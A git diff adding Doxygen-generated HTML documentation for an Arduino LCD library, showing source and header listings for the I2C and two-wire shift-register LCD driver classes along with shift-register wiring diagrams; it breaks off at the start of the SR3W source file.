+00111 {
+00112    config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7);
+00113 }
+00114 
+00115 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00116                                      uint8_t Rs, uint8_t backlighPin, 
+00117                                      t_backlighPol pol = POSITIVE)
+00118 {
+00119    config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7);
+00120    setBacklightPin(backlighPin, pol);
+00121 }
+00122 
+00123 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00124                                      uint8_t Rs, uint8_t d4, uint8_t d5,
+00125                                      uint8_t d6, uint8_t d7 )
+00126 {
+00127    config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7);
+00128 }
+00129 
+00130 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00131                                      uint8_t Rs, uint8_t d4, uint8_t d5,
+00132                                      uint8_t d6, uint8_t d7, uint8_t backlighPin, 
+00133                                      t_backlighPol pol = POSITIVE )
+00134 {
+00135    config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7);
+00136    setBacklightPin(backlighPin, pol);
+00137 }
+00138 
+00139 // PUBLIC METHODS
+00140 // ---------------------------------------------------------------------------
+00141 
+00142 //
+00143 // begin
+00144 void LiquidCrystal_I2C::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) 
+00145 {
+00146    
+00147    init();     // Initialise the I2C expander interface
+00148    LCD::begin ( cols, lines, dotsize );   
+00149 }
+00150 
+00151 
+00152 // User commands - users can expand this section
+00153 //----------------------------------------------------------------------------
+00154 // Turn the (optional) backlight off/on
+00155 
+00156 //
+00157 // setBacklightPin
+00158 void LiquidCrystal_I2C::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE )
+00159 {
+00160    _backlightPinMask = ( 1 << value );
+00161    _polarity = pol;
+00162    setBacklight(BACKLIGHT_OFF);
+00163 }
+00164 
+00165 //
+00166 // setBacklight
+00167 void LiquidCrystal_I2C::setBacklight( uint8_t value ) 
+00168 {
+00169    // Check if backlight is available
+00170    // ----------------------------------------------------
+00171    if ( _backlightPinMask != 0x0 )
+00172    {
+00173       // Check for polarity to configure mask accordingly
+00174       // ----------------------------------------------------------
+00175       if  (((_polarity == POSITIVE) && (value > 0)) || 
+00176            ((_polarity == NEGATIVE ) && ( value == 0 )))
+00177       {
+00178          _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT;
+00179       }
+00180       else 
+00181       {
+00182          _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT;
+00183       }
+00184       _i2cio.write( _backlightStsMask );
+00185    }
+00186 }
+00187 
+00188 
+00189 // PRIVATE METHODS
+00190 // ---------------------------------------------------------------------------
+00191 
+00192 //
+00193 // init
+00194 int LiquidCrystal_I2C::init()
+00195 {
+00196    int status = 0;
+00197    
+00198    // initialize the backpack IO expander
+00199    // and display functions.
+00200    // ------------------------------------------------------------------------
+00201    if ( _i2cio.begin ( _Addr ) == 1 )
+00202    {
+00203       _i2cio.portMode ( OUTPUT );  // Set the entire IO extender to OUTPUT
+00204       _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00205       status = 1;
+00206       _i2cio.write(0);  // Set the entire port to LOW
+00207    }
+00208    return ( status );
+00209 }
+00210 
+00211 //
+00212 // config
+00213 void LiquidCrystal_I2C::config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, 
+00214                                 uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 )
+00215 {
+00216    _Addr = lcd_Addr;
+00217    
+00218    _backlightPinMask = 0;
+00219    _backlightStsMask = LCD_NOBACKLIGHT;
+00220    _polarity = POSITIVE;
+00221    
+00222    _En = ( 1 << En );
+00223    _Rw = ( 1 << Rw );
+00224    _Rs = ( 1 << Rs );
+00225    
+00226    // Initialise pin mapping
+00227    _data_pins[0] = ( 1 << d4 );
+00228    _data_pins[1] = ( 1 << d5 );
+00229    _data_pins[2] = ( 1 << d6 );
+00230    _data_pins[3] = ( 1 << d7 );   
+00231 }
+00232 
+00233 
+00234 
+00235 // low level data pushing commands
+00236 //----------------------------------------------------------------------------
+00237 
+00238 //
+00239 // send - write either command or data
+00240 void LiquidCrystal_I2C::send(uint8_t value, uint8_t mode) 
+00241 {
+00242    // No need to use the delay routines since the time taken to write takes
+00243    // longer that what is needed both for toggling and enable pin an to execute
+00244    // the command.
+00245    
+00246    if ( mode == FOUR_BITS )
+00247    {
+00248       write4bits( (value & 0x0F), COMMAND );
+00249    }
+00250    else 
+00251    {
+00252       write4bits( (value >> 4), mode );
+00253       write4bits( (value & 0x0F), mode);
+00254    }
+00255 }
+00256 
+00257 //
+00258 // write4bits
+00259 void LiquidCrystal_I2C::write4bits ( uint8_t value, uint8_t mode ) 
+00260 {
+00261    uint8_t pinMapValue = 0;
+00262    
+00263    // Map the value to LCD pin mapping
+00264    // --------------------------------
+00265    for ( uint8_t i = 0; i < 4; i++ )
+00266    {
+00267       if ( ( value & 0x1 ) == 1 )
+00268       {
+00269          pinMapValue |= _data_pins[i];
+00270       }
+00271       value = ( value >> 1 );
+00272    }
+00273    
+00274    // Is it a command or data
+00275    // -----------------------
+00276    if ( mode == DATA )
+00277    {
+00278       mode = _Rs;
+00279    }
+00280    
+00281    pinMapValue |= mode | _backlightStsMask;
+00282    pulseEnable ( pinMapValue );
+00283 }
+00284 
+00285 //
+00286 // pulseEnable
+00287 void LiquidCrystal_I2C::pulseEnable (uint8_t data)
+00288 {
+00289    _i2cio.write (data | _En);   // En HIGH
+00290    _i2cio.write (data & ~_En);  // En LOW
+00291 }
+
+
+ + + + +
+ +
+ +
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+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h.html new file mode 100644 index 0000000..1f2fd5f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h.html @@ -0,0 +1,97 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h File Reference + + + + + + + + +
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LCD Library 1.2.1
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LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
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+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h File Reference
+
+
+
#include <inttypes.h>
+#include <Print.h>
+#include "I2CIO.h"
+#include "LCD.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_I2C
+
+ + + + +
+ +
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+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h_source.html new file mode 100644 index 0000000..2b32412 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8h_source.html @@ -0,0 +1,172 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h Source File + + + + + + + + +
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+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
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+
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+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_I2C.h
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using an I2C IO extension board.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+00021 // backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC.
+00022 //
+00023 // The functionality provided by this class and its base class is identical
+00024 // to the original functionality of the Arduino LiquidCrystal library.
+00025 //
+00026 //
+00027 // @author F. Malpartida - fmalpartida@gmail.com
+00028 // ---------------------------------------------------------------------------
+00029 #ifndef LiquidCrystal_I2C_h
+00030 #define LiquidCrystal_I2C_h
+00031 #include <inttypes.h>
+00032 #include <Print.h>
+00033 
+00034 #include "I2CIO.h"
+00035 #include "LCD.h"
+00036 
+00037 
+00038 class LiquidCrystal_I2C : public LCD 
+00039 {
+00040 public:
+00041    
+00051    LiquidCrystal_I2C (uint8_t lcd_Addr);
+00052    // Constructor with backlight control
+00053    LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol);
+00054    
+00067    LiquidCrystal_I2C( uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs);
+00068    // Constructor with backlight control
+00069    LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+00070                      uint8_t backlighPin, t_backlighPol pol);   
+00071    
+00088    LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, 
+00089                      uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+00090    // Constructor with backlight control
+00091    LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, 
+00092                      uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00093                      uint8_t backlighPin, t_backlighPol pol);
+00110    virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);   
+00111    
+00124    virtual void send(uint8_t value, uint8_t mode);
+00125    
+00134    void setBacklightPin ( uint8_t value, t_backlighPol pol );
+00135    
+00145    void setBacklight ( uint8_t value );
+00146    
+00147 private:
+00148    
+00154    int  init();
+00155    
+00171    void config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, 
+00172                 uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+00173    
+00182    void write4bits(uint8_t value, uint8_t mode);
+00183    
+00190    void pulseEnable(uint8_t);
+00191    
+00192    
+00193    uint8_t _Addr;             // I2C Address of the IO expander
+00194    uint8_t _backlightPinMask; // Backlight IO pin mask
+00195    uint8_t _backlightStsMask; // Backlight status mask
+00196    I2CIO   _i2cio;            // I2CIO PCF8574* expansion module driver I2CLCDextraIO
+00197    uint8_t _En;               // LCD expander word for enable pin
+00198    uint8_t _Rw;               // LCD expander word for R/W pin
+00199    uint8_t _Rs;               // LCD expander word for Register Select pin
+00200    uint8_t _data_pins[4];     // LCD data lines
+00201    
+00202 };
+00203 
+00204 #endif
+
+
+ + + + +
+ +
+ +
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+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8cpp.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8cpp.html new file mode 100644 index 0000000..a89c8e7 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8cpp.html @@ -0,0 +1,89 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.cpp File Reference
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+
+
#include "LiquidCrystal_SR2W.h"
+
+

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+
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+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
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+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created/Adapted by Bill Perry 2012-03-16
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR2W.cpp
+00013 // Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit 
+00014 // ShiftRegister (SR2W from now on).
+00015 // 
+00016 // @brief 
+00017 // This is a port of the ShiftRegLCD library from raron and ported to the
+00018 // LCD library.
+00019 //
+00020 //
+00021 // See the corresponding SR2W header file for full details.
+00022 //
+00023 // History
+00024 // 2012.03.29  bperrybap - Fixed incorrect use of 5x10 for default font 
+00025 //                         (now matches original LQ library)
+00026 //                         Fixed typo in SR2W mask define names
+00027 //                         changed default backlight state to on
+00028 // 2012.03.16  bperrybap - created/modified from SR sources to create SR2W
+00029 // @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com
+00030 // ---------------------------------------------------------------------------
+00031 
+00032 #include "LiquidCrystal_SR2W.h"
+00033 
+00034 // CONSTRUCTORS
+00035 // ---------------------------------------------------------------------------
+00036 // Assuming 1 line 8 pixel high font
+00037 LiquidCrystal_SR2W::LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol)
+00038 {
+00039         init ( srdata, srclock, blpol, 1, 0 );
+00040 }
+00041 
+00042 
+00043 // PRIVATE METHODS
+00044 // ---------------------------------------------------------------------------
+00045 
+00046 //
+00047 // init
+00048 void LiquidCrystal_SR2W::init(uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font)
+00049 {
+00050         _srDataRegister = fio_pinToOutputRegister(srdata);
+00051         _srDataMask = fio_pinToBit(srdata);
+00052         _srClockRegister = fio_pinToOutputRegister(srclock);
+00053         _srClockMask = fio_pinToBit(srclock);
+00054    
+00055         _blPolarity = blpol;
+00056    
+00057         _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00058    
+00059         backlight(); // set default backlight state to on
+00060 }
+00061 
+00062 //
+00063 // loadSR
+00064 void LiquidCrystal_SR2W::loadSR(uint8_t val)
+00065 {
+00066         // Clear to keep Enable LOW while clocking in new bits
+00067         fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask);
+00068    
+00069    
+00070         // clock out SR data byte
+00071         fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask, val, MSBFIRST);
+00072    
+00073         
+00074         // strobe LCD enable which can now be toggled by the data line
+00075         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00076         {
+00077                 fio_digitalWrite_HIGH(_srDataRegister, _srDataMask);
+00078                 waitUsec (1);         // enable pulse must be >450ns               
+00079                 fio_digitalWrite_SWITCHTO(_srDataRegister, _srDataMask, LOW);
+00080         } // end critical section
+00081 }
+00082 
+00083 // PUBLIC METHODS
+00084 // ---------------------------------------------------------------------------
+00085 
+00086 
+00087 /************ low level data pushing commands **********/
+00088 //
+00089 // send
+00090 void LiquidCrystal_SR2W::send(uint8_t value, uint8_t mode)
+00091 {
+00092         uint8_t myMode = ( mode == DATA ) ? SR2W_RS_MASK : 0; 
+00093    
+00094         myMode = myMode | SR2W_EN_MASK | _blMask;
+00095 
+00096         if ( mode != FOUR_BITS )
+00097         {
+00098                 loadSR(myMode | ((value >> 1) & SR2W_DATA_MASK)); // upper nibble
+00099         }
+00100 
+00101         loadSR(myMode | ((value << 3) & SR2W_DATA_MASK)); // lower nibble
+00102    
+00103         /*
+00104          * Don't call waitUsec()
+00105          * do our own delay optmization since this code is so fast it needs some added delay
+00106          * even on slower AVRs.
+00107          */
+00108 #if (F_CPU <= 16000000)
+00109         delayMicroseconds ( 10 );      // commands & data writes need > 37us to complete
+00110 #else
+00111         delayMicroseconds ( 37 );      // commands & data writes need > 37us to complete
+00112 #endif
+00113 }
+00114 
+00115 //
+00116 // setBacklight
+00117 void LiquidCrystal_SR2W::setBacklight ( uint8_t value ) 
+00118 { 
+00119         // Check for polarity to configure mask accordingly
+00120         // ----------------------------------------------------------
+00121         if  ( ((_blPolarity == POSITIVE) && (value > 0)) || 
+00122         ((_blPolarity == NEGATIVE ) && ( value == 0 )) )
+00123         {
+00124                 _blMask = SR2W_BL_MASK;
+00125         }
+00126         else 
+00127         {
+00128                 _blMask = 0;
+00129         }
+00130    
+00131         // send dummy data of blMask to set BL pin
+00132         // Note: loadSR() will strobe the data line trying to pulse EN
+00133         // but E will not strobe because the EN output bit is not set.
+00134         loadSR(_blMask); 
+00135 }
+
+
+ + + + +
+ +
+ +
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+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h.html new file mode 100644 index 0000000..8cf84b8 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h.html @@ -0,0 +1,164 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h File Reference + + + + + + + + +
+
+ + + + + + + +
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LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
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+Classes | +Defines
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+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

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+ + + + + + + + +

+Classes

class  LiquidCrystal_SR2W

+Defines

#define SR2W_BL_MASK   0x02
#define SR2W_DATA_MASK   0x78
#define SR2W_EN_MASK   0x80
#define SR2W_RS_MASK   0x04
+

Define Documentation

+ +
+
+ + + + +
#define SR2W_BL_MASK   0x02
+
+
+ +

Definition at line 132 of file LiquidCrystal_SR2W.h.

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+ + + + +
#define SR2W_DATA_MASK   0x78
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+ +

Definition at line 134 of file LiquidCrystal_SR2W.h.

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+ + + + +
#define SR2W_EN_MASK   0x80
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+ +

Definition at line 135 of file LiquidCrystal_SR2W.h.

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+ + + + +
#define SR2W_RS_MASK   0x04
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+ +

Definition at line 133 of file LiquidCrystal_SR2W.h.

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+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h_source.html new file mode 100644 index 0000000..eb5efcc --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r2_w_8h_source.html @@ -0,0 +1,245 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created/Adapted by Bill Perry 2012-03-16
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // @file LiquidCrystal_SR2W.h
+00010 // Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit 
+00011 // ShiftRegister (SR2W from now on).
+00012 // 
+00013 // @brief 
+00014 // This is the 2 wire shift register interface class for the LCD library
+00015 //
+00016 // The functionality provided by this class and its base class is a superset of
+00017 // the original functionality of the Arduino LiquidCrystal library and can
+00018 // be used as such.
+00019 // See the LCD class for a full description of the API functions available.
+00020 //
+00021 // It works with a 8-bit unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+00022 // shift register (IE a very simple SR), and an hd44780 LCD in 4-bit mode.
+00023 // Any such shift register should do (pref. 74LS family IC's for 2-wire).
+00024 // 74LS164 and 74HC595 have been exstensively tested.
+00025 //
+00026 //
+00027 // 2 Pins required from the Arduino:
+00028 // - Data/Enable
+00029 // - Clock
+00030 // The Data pin is also used to control the enable signal
+00031 // LCD RW-pin hardwired to LOW (only writing to LCD).
+00032 // Busy Flag (BF, data bit D7) is not read.
+00033 //
+00034 //  Original project homepage: http://code.google.com/p/arduinoshiftreglcd/
+00035 //
+00036 // Shift register bits
+00037 // Bit  #0   - (cannot be used on 74HC595)
+00038 // Bit  #1   - optional backlight control
+00039 // Bit  #2   - connects to RS (Register Select) on the LCD
+00040 // Bit  #3   - connects to LCD data inputs D4
+00041 // Bit  #4   - connects to LCD data inputs D5
+00042 // Bit  #5   - connects to LCD data inputs D6
+00043 // Bit  #6   - connects to LCD data inputs D7
+00044 // Bit  #7   - enables the LCD enable-puls (via the diode-resistor AND "gate")
+00045 // 
+00046 // Wiring for a 74LS164
+00047 // ---------------------
+00048 //                          1k/4.7k
+00049 //              +--------[ Resistor ]--------+---(LCD Enable)
+00050 //              |                            |
+00051 //              |          74LS164    (VCC)  |
+00052 //              |        +----u----+    |   _V_ diode
+00053 // (data pin)---+---+--1-|A     VCC|-14-+    |
+00054 //                  |    |         |         |
+00055 //                  +--2-|B      Q7|-13------+
+00056 //                     3-|Q0     Q6|-12--(LCD D7)
+00057 // (BL Circuit)--------4-|Q1     Q5|-11--(LCD D6)
+00058 // (LCD RS)------------5-|Q2     Q4|-10--(LCD D5)
+00059 // (LCD D4)------------6-|Q3    /MR|--9--(VCC)
+00060 //                   +-7-|GND    CP|--8--(clock pin)
+00061 //                   |   +---------+ 
+00062 //                   |      0.1uf
+00063 //                 (gnd)-----||----(vcc)
+00064 // 
+00065 // Wiring for a 74HC595
+00066 // --------------------
+00067 // NOTE: the 74HC595 is a latching shift register. In order to get it to operate
+00068 // in a "non latching" mode, RCLK and SCLK are tied together. The side effect of this
+00069 // is that the latched output is one clock behind behind the internal shift register bits.
+00070 // To compensate for this the wiring is offset by one bit position lower.
+00071 // For example, while the backlight is hooked to Q0 it is still using bit 1 of
+00072 // of the shift register because the outputs are 1 clock behind the real internal shift
+00073 // register.
+00074 // 
+00075 //                         74HC595    (VCC)
+00076 //                       +----u----+    |  +-----------------------(BL circuit)
+00077 // (LCD RS)------------1-|Q1    VCC|-16-+  |  +--------------------(data pin)
+00078 // (LCD D4)------------2-|Q2     Q0|-15----+  |      1k/4.7k
+00079 // (LCD D5)------------3-|Q3    SER|-14-------+---[ Resistor ]--+--(LCD Enable)
+00080 // (LCD D6)------------4-|Q4    /OE|-13--(gnd)                  |
+00081 // (LCD D7)------------5-|Q5   RCLK|-12-------+                 |
+00082 //                       |         |          |                 |
+00083 //              +------6-|Q6   SCLK|-11-------+--(clock pin)    |
+00084 //              |      7-|Q7    /MR|-10--(VCC)                  |
+00085 //              |    +-8-|GND   Q6'|--9                         |
+00086 //              |    |   +---------+                    diode  _V_
+00087 //              |    |      0.1uf                               |
+00088 //              |  (gnd)-----||----(vcc)                        |
+00089 //              +-----------------------------------------------+
+00090 // 
+00091 //
+00092 // Backlight Control circuit
+00093 // -------------------------
+00094 // Because the shift resiter is not latching the outputs, the backlight circuitry
+00095 // will "see" the output bits as they are shifted into the shift register which
+00096 // can cause the backlight to flicker rather than remain constantly on/off.
+00097 // The circuit below slows down the transitions to the transistor to remove
+00098 // the visible flicker. When the BL input is HIGH the LCD backlight will turn on.
+00099 //
+00100 //                (value depends on LCD, 100ohm is usually safe)
+00101 // (LCD BL anode)---[ resistor ]---(vcc)
+00102 //
+00103 // (LCD BL cathode)-------------------------------+
+00104 //                                                |
+00105 //                                                D
+00106 //                                                |
+00107 // (BL input)----[ 4.7k Resistor ]----+-------G-|-<  (2N7000 FET)
+00108 //                                    |           |
+00109 //                          (0.1uf)   =           S
+00110 //                                    |           |
+00111 //                                  (gnd)        (gnd)
+00112 // 
+00113 // 
+00114 // 
+00115 //
+00116 // History
+00117 // 2012.03.16  bperrybap - creation/adaption from SR header to create SR2W header.
+00118 //                         Fixed typo in SR2W mask define names
+00119 // @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com
+00120 // --------------------------------------------------------------------------------
+00121 #ifndef _LIQUIDCRYSTAL_SR2W_
+00122 #define _LIQUIDCRYSTAL_SR2W_
+00123 
+00124 #include <inttypes.h>
+00125 #include "LCD.h"
+00126 #include "FastIO.h"
+00127 
+00128 
+00129 // two-wire SR output bit constants
+00130 // ---------------------------------------------------------------------------
+00131 
+00132 #define SR2W_BL_MASK 0x02
+00133 #define SR2W_RS_MASK 0x04
+00134 #define SR2W_DATA_MASK 0x78     // data bits are hard coded to be SR bits 6,5,4,3
+00135 #define SR2W_EN_MASK 0x80       // cannot ever be changed
+00136 
+00137 class LiquidCrystal_SR2W : public LCD
+00138 {
+00139 public:
+00151    LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol = POSITIVE);
+00152    
+00165    virtual void send(uint8_t value, uint8_t mode);
+00166    
+00167    
+00177    void setBacklight ( uint8_t mode );
+00178    
+00179 private:
+00180    
+00186    void init ( uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font );
+00187    
+00192    void loadSR (uint8_t val);
+00193    
+00194    fio_register _srDataRegister; // Serial Data pin
+00195    fio_bit _srDataMask;
+00196    fio_register _srClockRegister; // Clock Pin
+00197    fio_bit _srClockMask;
+00198 
+00199    uint8_t _blPolarity;
+00200    uint8_t _blMask;
+00201 };
+00202 #endif
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp.html new file mode 100644 index 0000000..fad12ed --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp.html @@ -0,0 +1,249 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Defines
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LiquidCrystal_SR3W.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + +

+Defines

#define D4   0
#define D5   1
#define D6   2
#define D7   3
#define EN   4
#define LCD_BACKLIGHT   0xFF
#define LCD_NOBACKLIGHT   0x00
#define RS   6
#define RW   5
+

Define Documentation

+ +
+
+ + + + +
#define D4   0
+
+
+

LCD dataline allocation this library only supports 4 bit LCD control mode. D4, D5, D6, D7 LCD data lines pin mapping of the extender module

+ +

Definition at line 126 of file LiquidCrystal_SR3W.cpp.

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#define D5   1
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Definition at line 127 of file LiquidCrystal_SR3W.cpp.

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#define D6   2
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Definition at line 128 of file LiquidCrystal_SR3W.cpp.

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#define D7   3
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Definition at line 129 of file LiquidCrystal_SR3W.cpp.

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+ + + + +
#define EN   4
+
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+

Enable bit of the LCD Defines the IO of the expander connected to the LCD's Enable

+ +

Definition at line 104 of file LiquidCrystal_SR3W.cpp.

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#define LCD_BACKLIGHT   0xFF
+
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+

LCD_BACKLIGHT BACKLIGHT MASK used when backlight is on

+ +

Definition at line 93 of file LiquidCrystal_SR3W.cpp.

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+ + + + +
#define LCD_NOBACKLIGHT   0x00
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LCD_NOBACKLIGHT No BACKLIGHT MASK

+ +

Definition at line 86 of file LiquidCrystal_SR3W.cpp.

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#define RS   6
+
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+

Register bit of the LCD Defines the IO of the expander connected to the LCD's Register select pin

+ +

Definition at line 118 of file LiquidCrystal_SR3W.cpp.

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#define RW   5
+
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+

Read/Write bit of the LCD Defines the IO of the expander connected to the LCD's Rw pin

+ +

Definition at line 111 of file LiquidCrystal_SR3W.cpp.

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Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html new file mode 100644 index 0000000..535571c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r3_w_8cpp_source.html @@ -0,0 +1,336 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 7.3.2012.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
